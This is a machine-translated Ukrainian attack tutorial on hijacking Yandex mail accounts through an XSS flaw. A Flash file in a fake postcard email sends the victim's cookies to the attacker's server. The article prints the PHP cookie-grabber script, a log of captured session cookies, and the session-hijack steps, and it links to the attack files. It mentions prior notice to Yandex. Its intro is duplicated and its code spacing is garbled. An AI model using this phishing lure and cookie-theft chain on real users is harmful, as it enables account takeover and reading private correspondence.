Атака на аккаунт Яндекс.Паспорт
Ця стаття є прикладом того, як можна використовувати уразливість, описану в статті «Обхід JavaScript фільтрів - Flash! Атака »[1]. XSS в веб інтерфейсі пошти дасть можливість атакуючому перехопити сесію аутентифікації і отримати доступ до кореспонденції користувача і налаштувань облікового запису. Для успішної атаки зловмисник повинен створити swf файл здатний перехопити cookies користувача і передати їх скрипту розташованому на сервері атакуючого. Далі атакуючий, отримавши cookies, повинен буде використовувати їх для аутентифікації. Розглянемо всі дії докладно.
Автор: el Nitro
[Elnitro a hattack.ru]
http://hattack.ru
Вступ
Ця стаття є прикладом того, як можна використовувати уразливість, описану в статті «Обхід JavaScript фільтрів - Flash! Атака »[1]. XSS в веб інтерфейсі пошти дасть можливість атакуючому перехопити сесію аутентифікації і отримати доступ до кореспонденції користувача і налаштувань облікового запису. Для успішної атаки зловмисник повинен створити swf файл здатний перехопити cookies користувача і передати їх скрипту розташованому на сервері атакуючого. Далі атакуючий, отримавши cookies, повинен буде використовувати їх для аутентифікації. Розглянемо всі дії докладно.
Реалізація
Для відправки пошти жертві атакуючий буде використовувати цей [2] PHP скрипт. Скрипт відправляє html лист з прикріпленим flash файлом postcard.swf. Зміст листа замаскуємо під листівку. Виберемо, наприклад ось цю http://cards.yandex.ru/previewcard.xhtml?cardid=1797 листівку і створимо її в системі, відправивши самому собі на СВІЙ аккаунт. В результаті отримаємо html код який розсилає справжня листівка і посилання на листівку з привітанням в системі Яндекс листівки. Цим посиланням: виглядає приблизно так:
http://cards.yandex.ru/message.xhtml?id=
8e20df3454e8726331411bcae2c7bf0f
Приклад html-коду листівки:
Привіт, [email protected] Службою яндекс.листівки Вам доставлено повідомлення від користувача: секрет. Для перегляду листівки натисніть на лінк: http://mail.yandex.ru/{POSTCARD} або скопіюйте лінк в віконце "адреса" Вашого браузера ____________________________________________________________ яндекс.листівки http://cards.yandex.ru
, Де замість {POSTCARD} буде поміщена посилання на прикріплений файл postcard.swf.
Жертва, яка отримала послання і відкрила лист побачить щось подібне до цього:
Тепер якщо натиснути на посилання обведену червоним, то відкриється листівка розташована за адресою http://cards.yandex.ru/message.xhtml?
id = 8e20df3454e8726331411bcae2c7bf0f і жертва втратить cookies.
Подивимося, що вдає із себе файл postcard.swf:
Як ми бачимо, javascript передає значення cookies методом GET скрипту grab.php:
---------------------------% <--------------------- ------------- <? php $ cook = $ _GET [ 'cook']; $ Locat = $ _GET [ 'locat']; $ Report = "Cookies: $ cook \ n". "Location: $ locat \ n". "-------------- \ n \ n"; error_log ($ report, 3, "log.txt"); header ( "Location: http://cards.yandex.ru/message.xhtml?id= 8e20df3454e8726331411bcae2c7bf0f"); ?> ---------------------------% <------------------- ---------------
скрипт отримує значення cookies і location і записує їх у файл log.txt:
---------------------------% <--------------------- ------------- Cookies: yabs-frequency = 296972.2: 291605.1: 293272.1: 288871.1: 289898.1: 288848.1: 269794.1: 268616.1: 289013.3: 244013.5: 288082.2: 259961.5: 288833.1: 289217.3: 289810.1: 291604.2 : 288851.1: 292964.2: 289973.1: 289987.1: 290010.1: 296852.2: 297775.1: 288974.1; mail_tag = yandex.ru; yandex_login = isjustatest; my = YwECAAEIAAwABwAVABYADgAA; yandexuid = 2042291113573567; Session_id = 1115790036.75.0.12019287.2: 27846757: 5.13439.63498. 8fef1790dfc6f79ca36b225fa8e0aac6; yandex_fio = Васін Вася; yandex_mail = isjustatest; yandex_nickname =; yafolder = 27846757: 1220000000000292066; mesort = date Location: http://mail.yandex.ru/img?hid=1.1 -------------- ---------------- -----------% <----------------------------------
рядок header ( "Location: http://cards.yandex.ru/message.xhtml?
id = 8e20df3454e8726331411bcae2c7bf0f "); переадресовує браузер клієнта на справжню листівку яку ми створили раніше в системі« яндекс.листівки ».
Для користувача все виглядає зовсім непомітно і необразливо.
Далі зловмисник використовує отримані cookies наприклад за допомогою програми minibrowser [3] в якій cookies можна міняти на льоту:
Залишилося натиснути кнопку «Get» і опинитися в поштовій скриньці атакується користувача.
висновок
Варто відзначити, що у випадку з Яндекс, перехоплені cookies діють невеликий проміжок часу (при налаштуванні рівня доступу «Дізнаватися мене, але запитувати авторизацію»), але зустрічаються веб додатки, які зберігають в cookies md5 хеш-кодування від паролів і якщо зловмисник перехопить їх, то зможе користуватися ними багаторазово або спробує розшифрувати пароль.
ps Компанія Яндекс отримала повідомлення про наявність уразливості за кілька днів до публікації цього матеріалу.
[1] «Обхід JavaScript фільтрів - Flash! атака » http://www.securitylab.ru/54476.html
[2] Всі супутні файли можна взяти з http://hattack.ru/xss/yandex-xss_ru.rar
[3] Minibrowser можна скачати за адресою http://hattack.ru/xss/files/minibrowser_2.20.rar
Xhtml?
Xhtml?
Ru/img?
Xhtml?